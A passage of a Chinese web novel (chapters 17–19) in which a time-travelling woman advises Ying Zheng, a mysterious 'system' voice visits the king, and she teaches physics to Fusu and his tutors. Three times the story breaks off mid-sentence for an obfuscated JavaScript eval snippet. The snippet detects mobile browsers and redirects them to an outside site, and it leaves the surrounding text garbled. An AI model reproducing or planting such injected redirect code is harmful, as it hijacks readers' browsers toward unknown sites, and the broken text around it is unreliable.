17. 第17章
散了朝。
鹿尧亦步亦趋跟在嬴政身后,一副想说但又不敢说什么的踌躇模样。
嬴政本没当回事儿,可她内心声音太活跃了,满心都是害怕自己的能力不足以回报他对她的信任。
嬴政看着面前轻便易携带的纸张,着实没想明白鹿尧为何如此害怕。
再差劲儿,能有秦二世而亡差劲?
嬴政正欲讲话,忽听滴的一声,一道从未听说过的声音在脑海中响起。
【系……系统已激活。】
诡异,不像人能发出来的声音。
嬴政神情骤然严肃起来。
【宿主鹿……???】
【嬴政?】
【???】
诡异的声音在复述了一遍自己的名字后归于寂静,嬴政佯装无异,同鹿尧道:“愁眉不展,可是不满意寡人对你的安排?”
【这我还不满,我是要上房揭瓦吗?】
鹿尧心里驳了一句,才道:“臣惶恐,臣恐自己担不起大任。”
享诸侯礼遇,入朝不趋、赞拜不名的前提是,掌天下技艺研发、方略献策之责。
旁人看她风光无两,前途无限,只有她自己知道自己肚子里半瓶水晃荡,要技艺有身高,要方子有颜值……
“赵高当得起?”
鹿尧一听这话,瞬间支楞起来了:“他更不行!”
【让赵高来,那就不是哄骗秦二世,把鹿说成马那么简单的事情了!】
【到时候,星星说成太阳,太阳说成月亮……】
【那还了得?!!!】
“王上,这国师臣当定了!!!”鹿尧斩钉截铁放下话,“这世界上没有比臣更适合当国师的人了!”
“当他丫的!臣这就去想新技艺!”什么肥皂啊,玻璃啊,通通搞出来!
她超聪明的!
——
聪明个锤子。
“这里真的没有皂角?”鹿尧挎着脸,询问连云连月,“那你们平时用什么洗衣服呢?”
“灰水。”连云正巧在洗自己的衣衫,便端到了鹿尧面前给她细看。
“用贝壳灰和烂木灰搅拌一下,倒在水中,就可洗衣衫或者擦拭桌椅。”
鹿尧伸手指点了一下水面,放在鼻间仔细嗅。
死去的化学知识开始攻击她的大脑——贝壳灰里面的氢氧化钙和烂木灰产生化学反应,可以生成氢氧化钾,氢氧化钾又可以与附着在衣物上,和表面的油污脏污起反应。
“这可比皂角好多了!”鹿尧大喜,“快,带我去见墨家那几位!”
连云还有旁的事情,就由连月引路前去。
二者从大阳宫门前快速路过,全然没注意到殿外守卫剧增,是往日的五倍不止。
蒙武更是披上了轻甲,神情极为严肃。
殿内。
赵高紧张兮兮的环视四周,并未察觉到有何异常,于是他小心翼翼靠近王上,用极小的声音询问:“王上,您说的刺客在哪里?”
“寡人何时说过是刺客?”嬴政挥退赵高,他琢磨着那声音是不是因为外面的人多了,害怕了,而不敢出现。
也不知道就是嬴政所想这般还是巧合,殿中人方一退出,那声音又出现了。
【诶不是……】系统眼睁睁看着自己的宿主从面前溜走。
它沉思良久,着实没想明白自己为什么会挂在嬴政这位千古一帝身上。
难道是宿主祖上和嬴政有什么关系吗?
可华夏活到现在的人,哪家祖上没出过皇帝或者权贵呢,怎么它宿主半路被吸到这里来了?
系统尝试过联系鹿尧,很可惜的是,这人就像是土著一样,眼瞎耳聋,丝毫感应不到它的存在。
还是放弃吧。
退一万步来说,任务完不完成已经无所谓了,它一个小小系统,有什么资格挂在嬴政身上?
虽然这人身上气运确实很强,对它很有益,但它是一点都不敢沾染。
一不小心把华夏未来整没了它就完蛋了。
动用所剩无几的本源力量瞧了眼正在和土著们商量造玻璃的宿主,系统验算了一下鹿尧所带来的变动是否会影响大局。
【怎么显示不出来?】
【我记得先前有这种案例,找找……哦就是他,王莽,看样子不影响大局。】
【嗯,可以直接撤走了。】
“等等!”听到对方要离开,嬴政来不及细想,立刻出现唤住了这个神秘的声音。
【???】系统惊讶的数据都乱码了,【是在跟我说话吗?】
“寡人是在和你交流。”嬴政端坐,目视正前方。
系统再度陷入沉默,事实上,它有一点宕机了——嬴政为什么能直接和它沟通?
它和嬴政并未签订契约啊。
是对方气运太强,自己在他面前无处遁形吗?
系统大惊,并且想立刻逃走。
嬴政敏锐地察觉到了它的惧意,开口道:“你就是鹿尧一直在找的系统?”
“她找了你许久,你便要如此抛弃你的朋友吗?”
【准确来说是待定的宿主,我二人尚未签订契约。】系统离开的动作一顿,反问,【宿主找了我很久?】
“每到夜晚,她都会念你千百遍。”
系统顿了一下,狐疑道:【我们并没有见过,她怎么会念我?】
嬴政面不改色:“哦?是吗,寡人只知她迫切的需要你。”
感受到系统的迟疑,嬴政继续道:“寡人不知你二人是何关系,但她等了你近半年,你忍心置她不顾?”
【……】
【很抱歉,这是我的过错,但我无法在这里久留。】虽然系统心虚,但它也是真的没办法了,【因未知错误,我无法与宿主取得联系,无法绑定,嗯,或许你可以帮我转达她?】
嬴政眉头微动,若只是几句话,鹿尧根本没必要心心念念的想它。
他更怀疑这个系统是鹿尧的宝物,只不过现在背主了。
【她已无法回到原世界,想要在这里好好活下去的话,就不要做任何有可能更改历史进程的事情。】
历史进程……难道是指秦二世而亡?
嬴政眼底愠起怒气,这邪祟果然不是什么好东西!
鹿尧绝不可与它过多接触!
“只此一句?”嬴政掀唇嘲讽。
系统畏惧于嬴政气势,补充道:【我可以留下最基础的兑换商品功能,可以用金银兑换,以此保证宿主在乱世中存活。】
乱世……
邪祟每一句话都踩在嬴政不可忍受的雷点。
“你既无法与她沟通,又如何将这个功
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466297|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能交于鹿尧?”
【不必,我现在已经交给她了。】
嬴政蹙眉,他并未听到鹿尧的大呼小叫。
嬴政质疑的态度十分明显,系统大呼冤枉:【我无法联系上她,总需要一个契机才能被发现。】
系统后知后觉发现了不对劲儿的地方,借着之前存留的力量扫描了一下嬴政,惊奇发现他竟能听到宿主心声。
这很不对劲儿!
这种功能只有两者绑定的情况下才会产生……
不对!
系统快速检索,得到答案后恍然大悟,原来是嬴政气运太强,凡不属于这个时空之人,都可范围之内洞悉来者心声。
这个宿主……很难活到自然死亡啊!
果断从嬴政身上离开,切断二者沟通桥梁,系统留了一句提醒和加强版的商店遁走了。
嬴政在第二次同邪祟讲话未得到回应之时,便已猜到对方离开,怒不可遏拍桌。
“去将鹿尧唤来!”
赵高吓得抖了三抖,刚高声应下,就见王上大步而来,怒容显而易见:“还不滚去!”
“是!”赵高脚底抹油般溜之大吉。
蒙毅心里正嘲笑赵高软蛋一个,背后忽然一凉,迟缓抬眸,对上了那雄鹰索敌一般的双眸。
“王上!”蒙毅站的笔直,等待王上的吩咐。
迟迟不见王上开口,蒙毅心里直打鼓,疯狂思索今日与以往相比有何不同,出了什么差错。
“王上,是宫内又进了刺客?”蒙毅猛然抬头,向左右看去,确认大阳宫此时守卫足够之多,绝不可能再出现荆轲那种情况后,向王上请罪,“王上,臣请全力追查刺客,若是无法将他就地正法,臣愿提首认罪!”
蒙毅两眼冒着火苗,想不通是哪里出了纰漏,竟让刺客钻了空。
观蒙毅怒火中烧之模样,嬴政倒是冷静下来了。
他道:“倾尽大秦之力,也无法追寻到它的踪迹。”
蒙毅瞳孔地震,即便是武力高强如鹿尧,也不曾得到王上如此评价。
天下竟有如此多奇能异士?
韩、赵、魏、楚、齐,是哪一国派来的呢?
护主之心被激发出来,蒙毅恨不得现在就将藏在暗处的奸佞小人千刀万剐。
“王上,请您再给臣一次机会!”
嬴政拍了拍蒙毅肩膀,留下一句“寡人信你”便转身回到殿内。
因此,他并未看到蒙毅着了魔一般阴暗神情。
鹿尧提着赵高后衣领,飞奔而入大阳宫。
“王上王上!”方一入殿,鹿尧便撒手扔了赵高,直奔嬴政面前而去,一路快速扫量,确定王上未受伤后才勉强刹住了车。
【吓死我了,还以为又来了个荆轲。】
【既然没有刺客,殿外守那么多人干什么,一股子政哥要驾崩了的样子!】
【还有赵高,一路喊着不好了不好了,他是不是早就盼着政哥不好?】
“赵高,出去。”
摔了个屁股蹲的赵高顺势滚了出去,还捎带着关上了殿门。
这点儿眼力见儿他还是有的。
也不知道王上要和鹿大人谈什么,先前态度那般生气……
“寡人遇见了一个自称系统的东西。”
一语惊天,鹿尧当场表演了一个掉凳。
18. 第18章
嬴政想了又想,最终还是决定如实道来。
他不愿欺骗鹿尧。
“寡人遇见了一个自称系统的东西。”
看到鹿尧跌座在地,四处张望寻找系统,嬴政道:“已经走了,并不在此。”
“走了?”
【就这样抛下我走了???】鹿尧不可置信,她平常念叨着喊着系统只是一个念想,没想到过会真的有系统这个东西。
只是……
【密码的,来都来了,不跟我见一面就走了算什么,有你这么不靠谱的系统吗?】
【我要举报,我要举报!】
【不过……政哥干嘛跟我说这个?难道系统已经把我暴露了?】
【握草成事不足败事有余的狗东西!】
嬴政静静等她发泄完,才继续道:“此等邪祟没有身躯,只有声音,寡人唯恐它对大秦有害,特来请问国师,该如何处理?”
鹿尧唯唯诺诺问:“它是对您讲了什么吗?”
嬴政点头。
鹿尧等了又等,也没等到政哥继续往下说,只好追问:“它说什么了?”
“它留给了你一个可保你性命的兑换之物。”
鹿尧头顶浮现一个大大的问号。
【在哪儿呢,我怎么没找到?】鹿尧原地转了一圈没看见后开始四处寻找。
眼见对方将砚台都挪开看有没有藏在底下,嬴政眼角抽了抽。
他现在有点后悔和鹿尧说实话了,毕竟她看起来不太聪明。
“它说需要一个特殊的契机才能出现。”嬴政打断鹿尧抠铜柱的举动,问道,“你很需要它?”
“不需要。”鹿尧气鼓鼓,系统都跑了,需不需要的,它还能回来吗?
口是心非。
像两个小孩子闹别扭,不承认对方是自己的好朋友。
“它真的走了吗?”鹿尧不死心的问。
嬴政摊手,询问:“寡人有骗你的必要吗?”
【确实没有。】鹿尧如同霜打的茄子,蔫儿下去。
嬴政不太理解她这般遭受重大打击的模样是为何,鹿尧的本领众人可见,何至于依靠一个虚无缥缈,不知好坏的东西。
“鹿尧。”
“嗯?”鹿尧闻声抬头,和嬴政四目相对。
“寡人希望你寻到那兑换之物时,可以告知寡人。”嬴政话没说完,就见对方点头如捣蒜,他解释道,“寡人此举不是防范你,你莫要多心……”
鹿尧抬手:“王上不必多言,您就是叫我现在去死我眼睛都不会眨一下!”
“系统本应找我,但无缘无故找到王上,肯定是觊觎我们王上什么东西,您放心,要是我下回遇到系统,我第一个把它绑了上缴给您!”
“我知道您都是为了我好!”
早就知道鹿尧无条件维护、信任自己,但听到她亲口说出,嬴政还是大为感动。
“寡人有你,大幸!”
赵高等候在殿外,两耳高高竖起听着内里的动静。
听到鹿尧连绵不绝的恭维声,赵高深感地位之危,这世界上怎么会有鹿大人这般善良、人品好还武力高强会说漂亮话的人?
她未来的路,肉眼可见的一片坦途啊!
赵高两眼泪汪汪,这要是换成他,此时的尾巴能翘上天!
才不会一回来就被蒙毅揍了一拳。
又过了约莫一个时辰,鹿尧才笑嘻嘻的从殿内出来。
“赵高,又要麻烦你了。”
赵高带着问号进入正殿,没多久小跑着出来了。
再看鹿尧时,竟带了几分对待王上般的尊敬态度。
“鹿大人,您随我来。”赵高躬身让路,示意鹿尧先行一步。
“别搞那么多花里胡哨的。”鹿尧催促道,“带路就带路。”
赵高无奈起身,只快了鹿尧半步,在前引路。
七绕八拐,经过重重守卫,两人站立到一面巨大的高门之外。
“鹿大人,此处就是王上私库。”赵高一边说一边从怀里掏出一把精美的钥匙和黑木令牌,“以后这里您可以随意进出,侍卫不会拦您。”
赵高眼含泪水,将王上的信任交了出去。
“您务必要保管好……”
“放心,这么重要的东西,我一定会藏好的。”鹿尧笑眯眯接过来,“现在当务之急是把私库打开让我看看里面有多少好东西。”
嗡——
门缓慢打开。
两人高的架子映入眼帘,鹿尧眼神里的光也随着门打开的程度而逐渐变大。
忽然,鹿尧回头,面无表情问:“怎么全是竹简?”
“这些都是绝迹孤本,可抵千金。”赵高引着鹿尧往内里走,数十步后,豁然开朗。
偌大的空间里,箱子鳞次栉比,一眼望不到尽头。
鹿尧哇了一声:“这码放的,比秦军还要整齐。”
赵高随手打开了离鹿尧最近的一只箱子,霎那间,金芒玉辉相互交织,反光映衬的两人眼底和面部一片金黄。
鹿尧眼睛差点被恍瞎。
【俺滴个乖乖!】
【这么多金子,我从现在开始花,花到二十五世纪也花不完吧!】
【政哥也太会赚钱了吧!!】
听着鹿尧大呼小叫的称赞声,嬴政唇角刚勾起,就听对方握草一声。
一股不祥的预感袭来。
【一箱金子只够军队十天开销?一个月就需要三箱,前段时间攻打燕国就用了十箱……】
【是我想多了,这根本不够花。】
【虽然就剩一个齐国了,但按照秦律的二十级军功爵位制,政哥嘉奖和三五年的俸禄发下去,再统一度量衡,重新定制工具,统一文字,那也就没多少钱了。】
【百万人一起花,这点儿钱估摸能撑个二三十年吧。】
一番话说的嬴政脊背发凉,他的钱这么不经花吗?
没事儿,燕国的钱马上就是他的了,还有齐国,打下齐国能稍微缓一口气儿。
鹿尧和嬴政不谋而合,都把目光放到了齐国身上。
她询问赵高:“我现在能带走一箱金子吗?”
赵高一句多余的话也没有说,直接阖上箱子,唤信任的人进来将箱子直接抬去鹿尧住处。
鹿尧竖起大拇指。
【某些时候,赵高还是蛮顺眼的。】
正寻思着怎么抓壮丁来帮自己干活,一道熟悉的少年身影出现在了鹿尧视线中——公子扶苏。
扶苏闻声抬头,望见鹿尧阔步而来,忙躬身拱手问安。
仆射淳于越也紧跟着行礼。
“你来得正好。”鹿尧声音尚在远处,人影便已靠近,“你正值年少,可是汲取知识的好适合,我这里有本物理、有本化学,你想先学哪个?”
扶苏垂首:“一切听从鹿大人安排。”
“别那么拘谨。”鹿尧晃了晃扶苏的身躯,让他紧绷的身体放松下来,“既然你说的听我安排,那你连同数学一起学吧。”
“有句老话说得好,学会数理化,走遍天下都不怕。”
“学得好,将来天下尽在你手。”
淳于越心里咯噔一声,不敢相信自己方才听到了什么。
他快速瞟了一眼四周,两个婢女怕是听得一清二楚,门外也路过了一队侍卫……
完了!
“数学?”
“对。”鹿尧将人带到书桌侧,连云早有准备,将笔墨纸砚备好了。
“这是九九乘法表,你先背下,下午教你一元一次方程。”鹿尧迅速写完递给扶苏,正准备写下一些物理常识时,就听扶苏说已经记下来。
“你说什么?”鹿尧有些不可置信,她伸手将表拿过来,墨迹尚未干透,扶苏就已经背会了吗?
“秦算上已有类似。”淳于越瞥了一眼,他也记住了,“不过您这个倒是更为精简。”
“你是……?”
“仆射淳于越。”
【哦,就是你把扶苏教成圣母的啊。】
感受到打量的视线落在自己身上,淳于越脊背挺的更直。
鹿尧瞅着眼熟,目光微微一错,看到一旁同样身姿挺拔,通身凛然正气的扶苏。
“师承一脉啊……”她小声嘟囔了一句,“你来这儿是有什么事情吗?”
淳于越张口欲言,却被扶苏抢了先机,道:“先生想知道苏最近都在做什么,于是苏便将先生带了过来。”
“若是您介意,苏可将先生带出去安置好再……”
“不用。”鹿尧笑眯眯,“你平时都在哪儿上课?有多少老师,我可以见一见吗?”
“自是可以。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479380|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
鹿尧撂下毛笔,伸手请扶苏带路:“他们现在都在吗?我可以看看你现在都在教学什么吗?”
扶苏全部应下,同淳于越一起将自己正在学的竹简、书册取了出来,由鹿尧一一过目。
密密麻麻的文字和手中沉甸甸的重量让她头晕眼花。
“这些你学的吃力吗?”
见扶苏摇头,她正欲说话,就见殿外黑压压走来一群人。
“扶苏……这些都是你的老师吗……”
“正是。”
鹿尧震惊的合不拢嘴,这和疫情期间,全班同学都生病了,只有自己健健康康的出现在教室里面,让八科老师对着自己一个人讲课有什么区别?
哦。
有区别。
扶苏的老师不止八个,是二十八个!
“我收回对你和淳于越的评价。”
扶苏不经求证就盲信诏书自杀,是这二十八个老师共同酿下的过错。
鹿尧眯眯眼,决定对这二十八个老师进行一次摸底调查。
“你架着一架马车行走在路上,忽然马发疯了,左边道路有一个人,右边道路有五个人,你们会选择撞死一个人还是五个人?”
猝不及防的提问让刚进殿的众人怔愣在原地。
鹿尧眼尖的看到后面有人悄悄往后撤退,似是要溜走,手一抬,殿门被连云连月迅速关上。
“撞一个人的站左边,撞五个人的站右边。”
有人不假思索站在左边,有人沉吟后提出疑问——“驾车的人原本是要去往哪个方向的?”“左边的人是什么人,右边的人是什么人?”
“原本啊,可能是右边吧,左边的人是小孩儿,右边的人是五个燕国俘虏。”
话落,三五人走向右边。
“哦不好意思,说错了,左边是一个小孩儿,右边是五个燕国小孩儿。”
原本走向左边的人有所动摇,意图往右边走去。
“可左边小孩儿是个小恶魔,坑蒙拐骗,什么坏事儿都干。”
那几人迈出去的脚步又收了回来。
“但他做的坏事儿都是有人逼迫的,不是主观意愿想做的。”
噗通——
身着藏青色衣衫的年长者摔了一个屁股蹲,坐在地上发出哎呦哎呦的声音。
“这位大人,您这个问题未免太刁钻了。”他埋怨鹿尧,“如此这般,岂不是在戏弄我等?”
“我还没说完你们就开始选了,怪我吗?”
鹿尧无所谓摊手,侧头询问扶苏:“你选哪个?”
“扶苏可以不选吗?”
“哦,那就转着圈把六个都轧死。”
扶苏惊愕,反悔道:“那我走左边。”
“你呢?”
淳于越身子一抖,看鹿尧的目光好似在看一个恶魔。
这是正常人能想出来的问题吗?
“我也选左边。”死一个总比死五个强。
“你们呢,快选吧,再不选这六个人连同路边的人一起被马车轧死。”
此话一出,众人没招了,好一翻权衡利弊后,二十三人站在左侧,五人站在右侧。
站在左侧的人目光鄙夷,似是不屑与对方为伍。
“路荀,一和五,你分不清孰轻孰重吗?”
“难道被你撞死的那个人就是应该的吗?”被嘲讽的人是一名白发老者,他捋了捋胡须,语气平淡,“若本来就是往右边走,这便是他们的命。”
他看向鹿尧,道:“您方前说往右边走,用的是‘可能吧’。”
鹿尧见他笃定的神情,也跟着抠字眼道:“我随口说的,也有可能他到路口就要停了呢,结果除了意外马疯了。”
她无所谓的态度显得认真做选择的数人向笑话一般,惹得他们心中都起了一股怒火。
做官位到他们这个地步,已经很少有人敢冒犯他们,更遑论这种戏弄人的把戏。
简直……简直没把他们放在眼里!
很可惜,鹿尧没给他们发火的机会,直接将左右两边的人分开带走了。
她拍着手,十分满意的点头。
选撞死一个人的去学物理化,选择撞五个人的去学地史政,完美。
而扶苏和淳于越嘛……
都学!
谁让他俩脑袋瓜最好用呢。
19. 第19章
鹿尧学习成绩不错,但这不代表她能完整背出课本上的知识点。
不过这也难不倒她。
连云连月抬出来鹿尧早就准备好的“黑板”——一块表面磨得光滑的木板。
拿着炭笔将物理学基础概念和基本原理一一写到了上面,一边写,她一边讲解着,很快,木板上遍布她的字迹。
心有不服者原本还心不在焉猜测着她的身份,谁承想听了两句,整个人如同掉落进一片汪洋中,密密麻麻的知识点和讲解扑面而来,将他们彻底包裹。
从功的公式W=Fscosθ到机械能守恒的条件,从动量定理I合=Δp到波速公式v=λf,鹿尧用完了整整三根炭笔,木板更是写不下,随机移到了一侧的墙壁上。
连云适时递上茶水,鹿尧一饮而尽,随后转头问大家:“我还有哪里没讲……”明白吗……
“你们这是在干什么?”鹿尧被身后的场景震惊到了。
先前嘲讽路荀的中年男人手中拿着刻刀,一边回答路遥一边在竹简上快速刻着字:“您讲的东西李某从未听说过,若能证实这些精妙的理论和公式是正确的,无异于掌握通天之术……”
话说一半,他猛然止住,摆手解释道:“李某不是在质疑您,掌管天文历法的博士早前也曾发现类似规律,只是尚未参透,若能让他来听您讲上一节课,不,能让他看上这公式一眼,他定会大为震撼!”
淳于越知道他说的是谁,点头如捣蒜的附和道:“您讲的这些‘物理’,小到水滴坠落,大到日月运行,都能说通,虽然我现在还有许多听不懂的地方,但您讲的这些内容并不是简单的因果关系,而是环环相扣的闭环,比如说这位牛顿被苹果砸到,发现了万有引力。”
“你们若是觉得哪里不懂,可以先动手试验一下,毕竟实践是检验真理的唯一标准。”鹿尧说话时,淳于越眼睛越来越亮,手下的刻刀更是一刻未停,使得鹿尧说话都开始三思了。
“咳咳。”鹿尧咳嗽一声,“今日你们先消化这些,我去文科那边一下。”
“扶苏,你把我之前给你的话本拿来。”
鹿尧脚底抹油快速溜走,扶苏紧随其后,淳于越左看木板后看二人离开的声音,咬牙跺脚叮嘱同僚好好将公式理论全部记录下来,回头等他来了一起讨论,才慌张追去。
他还没忘记自己最初去找鹿大人就是因为那些以秦为基础瞎编的话本,都把扶苏带坏了呢!
然而等淳于越赶到的时候,众人已经三人成组,人手一本话本,回家写鹿大人布置的摸底作业——读后感了。
“鹿大人,这些话本您还是快快收回来吧!”淳于越说这话时已经自作主张让人去追同僚要回话本了。
“话本能产生什么影响?”鹿尧疑惑不解。
“此中对皇室、对贵族言行侮辱,若是有心人以此作伐,您恐怕会被王上怪罪。”淳于越信任同僚,但拿回家去看,让旁人看见……“且里面内容过于残忍,有类人学坏不用教,见着别人干坏事,眼睛一亮就跟着学。”
鹿尧倒吸一口气,感激道:“你说的正是。”这个时代还没有金人,若是因为她,导致蛮人的这些习俗流传出去,然后才出现了金人……
【我滴妈……还是我大意了,淳于越好人啊。】
“谢谢你,是我想的不周了。”
见着话本全部收了回来,鹿尧松了口气,正要说等明日再详细看吧,就见老师们跟着一同折返回来了。
原是有人好奇,走在路上就好奇的翻看了几页,顿时就被开头吸引住了。
鹿尧微微一笑。
没人能逃得了营销号标题党的魔爪。
“既不能带走,我们能留下来看完再走吗?”虽以天黑,但看完再走也是可行的。
鹿尧对此无所谓,倒是淳于越担心他们看完气愤的一夜睡不着。
明日还要面见王上呢。
“随你们。”得了鹿尧应允,殿内众人才寻了位置坐下,围在一起聚精会神的看起话本内容。
“那你们忙着,扶苏,淳于越,你二人随我来,我还有个重要事情想请你俩帮忙。”鹿尧走了两步,忽感两腿软绵绵的没有力气,扶着铜柱就倾倒在了上面。
扶苏和淳于越吓了一跳,上前一左一右的搀扶住她。
“鹿大人,您哪里不舒服?”扶苏双眸透着急切担忧,忙喊人要将鹿尧抬去太医令。
连云连月听到声音赶来,看见鹿尧的摸样,制止了众人的动作后上前接替扶苏和淳于越,扶住她后解释:“主子这是没电了。”
“没电?”淳于越疑惑,这又是何意。
连云连月对视一眼,没有仔细解释,只说交给她们就好。
淳于越一路护送着两人出了福昌院,扭头看见扶苏眼眶发红,眼中水意若隐若现,不免询问:“扶苏,你这是怎么了?”
“先生,从我们巳时和鹿大人见面,到现在酉末,过去五个多时辰,鹿大人教了我们那么多东西,却只饮了一盏茶水……”
淳于越此时才反应过来,面色燥红:“是也,是我等太不周到了。”
他远远向鹿尧所住之处拱手,歉意无限。
一道身影从他身侧快步离去,淳于越抬头,扶苏步履匆匆,去的方向也是大阳宫。
淳于越想,扶苏这般纯良的人,即便多了几分铁手腕,也不会针对天下百姓,鹿大人博学多才,从她无私将自己所学贡献出来,教给旁人,就能看出来她也不会是大奸大恶之人。
再怎么教导扶苏冷心冷情,都不会教出王上三分嗜血来。
淳于越放心的回到殿内,和众人热火朝天的讨论起要怎么“用实践检验真理”。
大阳宫。
扶苏步履匆匆,衣袂蹁跹,等不及赵高通传,跟在他身后进了大阳宫内殿。
过往十多年,扶苏从未如此失去礼数过。
嬴政蹙眉,询问扶苏:“如此急促,是有何要事?”
“鹿大人若是一直透露未来,可会遭到反噬?”扶苏言语急切,并未注意到一侧赵高错愕的神情。
嬴政隐去不悦,挥手让赵高退下。
“扶苏,你要大声吵嚷到所有人都知道这件事情吗?”
扶苏讷讷,小声辩解:“赵内侍不是您最信任之人吗?”
嬴政忍不住招手,示意他上前来。
扶苏一如命令,快步上前,余光瞥见一只大手抬起,砰的一声,后脑勺被人拍打了一下。
扶苏呆呆抬头看向父王。
“这天下,值得你信任的人只有你自己!”嬴政顿了一下,补充道,“还有鹿尧。”
“苏知道……”
“你不知道!”嬴政恨铁不成钢,他要是知道,就不会被一道伪造的诏书而自杀。
或许是和鹿尧相处久了,嬴政脑海中出现一个不太体面的点子。
扶苏有些委屈,不明白父王这又是怎么了。
但,他还有重要的事情回禀。
扶苏迅速将鹿尧所讲的物理学理论简单道出,重点落在了她浑身无力,软趴趴的任由婢女搀扶走一事。
“父王,鹿大人会因为教导我们这些而损毁自己的仙道吗?”
嬴政面色沉重,这事儿他也不知情。
思及自己也确实许久未听到鹿尧心声,他起身,携扶苏往鹿尧住处而去。
尚未踏入院中,食物的诱人香气勾出了扶苏肚子里的馋虫。
响亮的肚子咕噜声引来嬴政注意,他侧目看去,扶苏垂着头用手捂住肚子,耳尖绯红。
“父、父王,苏不是故意的。”
嬴政扶额。
这种身体反应,如何能故意发出呢?
扶苏这孩子……
两人身后远远跟着许多侍卫和奴才,即便动静再小,停留的这会儿也能引起鹿尧等人注意。
嬴政抬头,就瞧见鹿尧举着两大把串在木条上荤菜,直冲他而来。
熟悉的急刹车,嬴政看着险些塞进自己口中的食物,默默向后退了一步。
“王上,您怎么来了!”鹿尧兴致冲冲地举起肉串回来晃动,“我正好要让连云给您送去呢!”
“不过烤串就要现烤现吃才美味,您来的正好!”
鹿尧不由分说递过去,嬴政伸手接下。
“寡人听扶苏说你是晕倒回来的,是饿晕的?”他如此猜测。
鹿尧看向扶苏,与他关切无比的双眸对视,实在不好意思说自己是饿的没力气走路了。
【政哥怎么回事儿,这么多人呢,就直接揭我的老底。】
嬴政眉头微动,没想到大大咧咧的鹿尧也会有害羞尴尬的神情。
【刚刚才在大家面前装了一波,当老师的瘾还没爽完呢,就被学生之一知道老师饿得要晕倒……呜呜,我的面子、里子,全丢了。】
嬴政随之看向扶苏,道:“寡人能带着扶苏一起同你用膳吗?”
为了保住鹿尧的面子、里子,嬴政决定牺牲扶苏的面子:“他肚子饿的咕咕叫。”
随着嬴政的话音,又是一声响亮的肠鸣音。
扶苏头垂的更低,声音像是从嗓子眼中挤出来一般:“对、对不起。”
鹿尧才经历了尴尬时刻,此时对嬴政的解围十分感谢,从连月手中接来一大串肉串,道:“饿了就吃,我这儿准备的肉多着呢,包让你吃到兜着走的。”
“那就不必了……”扶苏抬头道谢,面色的红晕不比手中的油汪汪的红肉逊色半分。
鹿尧馋得口中生津,眼睛直勾勾听着扶苏手里的肉串,嬴政都忍不住怀疑她会不会开口再把它们要回来。
“主子,您想吃的韭,烤好了。”
连云犹豫的声音传来,鹿尧扭头就跑进院中。
赵高早已挥退众人,自己跟在王上身后也混进了小院落里。
看到灶炉上串成一排的绿油油的韭,众人心中生疑——这东西,能好吃吗?
鹿尧兴致冲冲拿起盐罐撒盐,又将烤好的肉片从木签上取下来,用它将韭包裹一圈,然后一口吞下。
【握草,绝!】
【谁能想到我在秦朝吃烤韭菜包肉?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483878|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
】
【好吃好吃好吃。】
嬴政脑中一时间全被好吃二字占据,便在净了手,让连云教他怎么弄。
赵高正要上前接过,却被嬴政制止了。
扶苏见父王都亲自动手了,便递给赵高一串肉,道:“不如你再去搬来一个炉?”
赵高目光落在肉串上,不假思索点头。
一个哪儿够,让蒙毅搬两个过来!
炊烟袅袅,嬴政父子二人专心致志烤起串来。
扶苏灵光一闪而过,询问鹿尧:“鹿大人,鲭鱼是否也能烤制?”
嬴政意动,也看向鹿尧。
鹿尧早已吃饱开始发呆,闻声点点头:“没有什么食物不能被火烤。”
赵高适时拿出一桶鲜活乱蹦的鱼,对扶苏笑道:“公子想的周到,王上最爱食鱼。”
鹿尧一听这话,鲤鱼打挺起身:“都别动,让我来!”
她不容拒绝地接过鱼桶,抓起一条肥美的鱼,手法熟稔的将其一刀拍晕。
【你以为我会在乎吗?】
【我在大润发杀了十年鱼,我的心早已像我杀鱼的刀一样冷了。】
嬴政目光落在鹿卢剑上。
一时间不知道该想大润发是什么,为何杀鱼十年,还是该提醒她鹿卢剑,不是刀。
但看着鹿尧手法熟稔的用鹿卢剑去除鳞片,开膛破肚去除内脏,洗干净鱼后用细盐将内外涂抹一层。
嬴政忍不住怀疑,鹿卢剑是不是真的消失过一段时间,被拿去杀鱼了。
“父王,可否让阿母过来一起?”扶苏极其小声询问。
嬴政还未说话,鹿尧便答应下来了。
【扶苏这孩子怎么看着可怜巴巴的,难道是很久没有和爸妈一起用过膳了吗?】
鹿尧的猜测并未出错,嬴政忙于前朝政事,极少涉足后宫,尤其是她出现之后,这半年来去后宫的次数一只手掌数的过来。
“去将郑妃请来。”
不多时,郑妃未施粉黛、素面朝天,发间未簪一钗一珰,身上也无环佩叮当,素净的着一身常服而来。
